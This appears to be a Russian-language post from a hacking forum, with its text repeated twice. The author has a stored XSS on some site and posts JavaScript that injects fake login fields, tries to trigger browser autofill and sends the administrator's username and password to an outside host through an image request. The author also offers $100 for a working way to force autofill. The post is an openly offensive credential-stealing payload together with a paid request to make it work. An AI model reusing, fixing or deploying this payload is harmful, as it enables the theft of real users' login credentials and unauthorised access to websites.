Приветствую.
Есть хранимая xss, пытаюсь снифнуть юзернейм и пароль админа с помощью следующего кода
Поля дорисовываются, но автоматически не срабатывает автозаполнение из бразуера и запрос уходит с пустыми переменными: ?user=&pass=
Тестировал в Chrome и Firefox, не работает ни там ни там. При клике вручную на поля автозаполнение работает в обоих браузерах.
Возможно ли инициировать автозаполнение программно из JS, или такой вариант безнадежно устарел?
Варианты из статьи https://xss.pro/threads/70997/ тоже не работают, как и другие варианты которые смог нагуглить. Заплачу $100 за рабочий вариант.
Есть хранимая xss, пытаюсь снифнуть юзернейм и пароль админа с помощью следующего кода
JavaScript:
function xss() {
const p = document.createElement("input");
p.setAttribute("type", "password");
p.setAttribute('id','password')
p.setAttribute('name','password')
const l = document.createElement("input");
l.setAttribute("type", "text");
l.setAttribute('id','username')
l.setAttribute('name','username')
const f = document.createElement("form");
f.appendChild(l);
f.appendChild(p);
// f.setAttribute("hidden", "true");
document.body.appendChild(f)
document.body.onclick = function(e) {
document.querySelector('#password').focus();
document.querySelector('#username').focus();
new Image().src = "https://sniff.com/?user="
+ document.querySelector('#password').value + "&pass="
+ document.querySelector('#username').value;
}
}
xss()
Поля дорисовываются, но автоматически не срабатывает автозаполнение из бразуера и запрос уходит с пустыми переменными: ?user=&pass=
Тестировал в Chrome и Firefox, не работает ни там ни там. При клике вручную на поля автозаполнение работает в обоих браузерах.
Возможно ли инициировать автозаполнение программно из JS, или такой вариант безнадежно устарел?
Варианты из статьи https://xss.pro/threads/70997/ тоже не работают, как и другие варианты которые смог нагуглить. Заплачу $100 за рабочий вариант.